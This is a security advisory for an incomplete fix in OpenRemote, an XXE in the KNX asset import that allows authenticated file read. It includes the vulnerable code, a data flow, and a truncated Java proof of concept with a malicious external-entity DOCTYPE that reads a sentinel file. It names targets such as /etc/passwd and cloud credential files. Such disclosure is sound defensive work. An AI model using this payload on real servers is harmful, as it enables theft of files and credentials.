CVE-2026-54640: Io.openremote:openremote agent: OpenRemote has an incomplete fix for CVE-2026-40882: XXE in KNXProtocol.startAssetImport() allows arbitrary file read via unprotected XMLInputFactory

### Summary The fix for CVE-2026-40882 addressed only the Velbus asset import handler. The KNX asset import handler (`KNXProtocol`) processes user-uploaded ETS project ZIP files through Saxon XSLT and `XMLInputFactory.newInstance()` with no XXE protection, allowing any authenticated user to read arbitrary files from the server filesystem (e.g. `/etc/passwd`, `openmrs-runtime.properties`, cloud credential files). ### Details ### Incomplete patch CVE-2026-40882 was fixed by introducing `createSecureDocumentBuilderFactory()` in `AbstractVelbusProtocol.java` with five XXE-blocking features. The parallel asset import handler in `KNXProtocol.java` was not updated and retains two unprotected XML parsing calls on the same user-controlled data. **Patched file — AbstractVelbusProtocol.java:** ```java private DocumentBuilderFactory createSecureDocumentBuilderFactory() { DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true); factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); return factory; } ``` **Vulnerable file — KNXProtocol.java, lines 229–249:** ```java // Line 229-230: reads 0.xml from user-uploaded ZIP InputStream inputStream = KNXProtocol.class.getResourceAsStream(".../ets_calimero_group_name.xsl"); String xsd = IOUtils.toString(inputStream, StandardCharsets.UTF_8); // Lines 233-245: Saxon XSLT — no XXE protection on the source document TransformerFactory tfactory = new TransformerFactoryImpl(); Transformer transformer = tfactory.newTransformer(new StreamSource(new StringReader(xsd))); transformer.transform( new StreamSource(new StringReader(xml)), // xml = 0.xml from attacker's ZIP new StreamResult(writer)); // Line 249: XMLInputFactory — no SUPPORT_DTD=false, no IS_SUPPORTING_EXTERNAL_ENTITIES=false try (final XmlReader r = XmlInputFactory.newInstance() .createXMLStreamReader(new StringReader(xml))) { ... } ``` ### Data flow ``` POST /api/{realm}/agent/{agentId}/import (authenticated user, PR:L) → AgentResourceImpl.doProtocolAssetImport(fileData) → KNXProtocol.startAssetImport(byte[] fileData) → ZipInputStream reads 0.xml from attacker-controlled ETS ZIP → Saxon TransformerFactoryImpl.transform(StreamSource(0.xml)) ← XXE stage 1 → XmlInputFactory.newInstance().createXMLStreamReader(xml) ← XXE stage 2 → external entity resolved → arbitrary file read ``` ### Comparison with patched code | Handler | XML parser | DTD disabled | Status | |---|---|---|---| | `AbstractVelbusProtocol` | `DocumentBuilderFactory` | ✅ 5 features set | Patched (CVE-2026-40882) | | `KNXProtocol` | `Saxon` + `XMLInputFactory` | ❌ none set | **Not patched** | ### PoC No full OpenRemote installation required. The following reproduces the vulnerable XML processing chain using the exact same library versions. **Requirements:** Java 17+, Maven 3.8+ **pom.xml dependency:** ```xml <dependency> <groupId>net.sf.saxon</groupId> <artifactId>Saxon-HE</artifactId> <version>12.9</version> </dependency> ``` **Exploit.java:** ```java import net.sf.saxon.TransformerFactoryImpl; import javax.xml.stream.*; import javax.xml.transform.*; import javax.xml.transform.stream.*; import java.io.*; import java.nio.file.*; public class Exploit { public static void main(String[] args) throws Exception { // Sentinel file — proves arbitrary file read Path sentinel = Files.createTempFile("openremote_xxe_proof_", ".txt"); String tag = "OPENREMOTE_KNX_XXE_" + System.currentTimeMillis(); Files.writeString(sentinel, tag); String maliciousXml = "<?xml version=\"1.0\"?>\n" + "<!DOCTYPE root [\n" + " <!ENTITY xxe SYSTEM \"file://" + sentinel.toAbsolutePath() + "\">\n" + "]>\n" + "<root><data>&xxe;</data></root>"; // Stage A: XMLInputFactory (KNXProtocol.java:249 — no security config) XMLInputFactory factory = XMLInputFactory.newInstance(); XMLStreamReader reader = factory.createXMLStreamReader(new StringReader(maliciousXml)); StringBuilder sb = new StringBuilder(); while (reader.hasNext()) { int e = reader.next(); if (e == XMLStreamConstants.CHARACTERS) sb.append(reader.getText()); } System.out.println("Stage A result: " + sb.toString().trim()); // Stage B: Saxon TransformerFactoryImpl (KNXProtocol.java:233-245) String xsl = "<?xml version=\"1.0\"?>" + "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">" + "<xsl:output method=\"text\"/>" + "<xsl:tem

• github.com/openremote/openremote/security/advisories/GHSA-7v6w-c3f4-9wpq (opens in a new tab)
• github.com/openremote/openremote/commit/c28d3c60ebc2da68d9b6c4a6d7a5ad875a255ee9 (opens in a new tab)
• github.com/openremote/openremote (opens in a new tab)

• Red Hat Security Advisory: java-21-openjdk security update for RHEL 10HighVulnerability2026-10-29
• Red Hat Security Advisory: OpenJDK 25.0.5 Security Update for Windows BuildsCriticalVulnerability2026-10-29
• CVE-2025-12531: IBM InfoSphere Information Server 11.7.0.0 through 11.7.1.6 is vulnerable to an XML external entityHighVulnerability2025-11-03
• CWE-611: Improper Restriction of XML External Entity Reference vulnerability exists that could cause manipulation ofMediumVulnerability2025-07-11
• Red Hat Security Advisory: Red Hat Data Grid 8.6.3 security updateHighVulnerability2026-09-21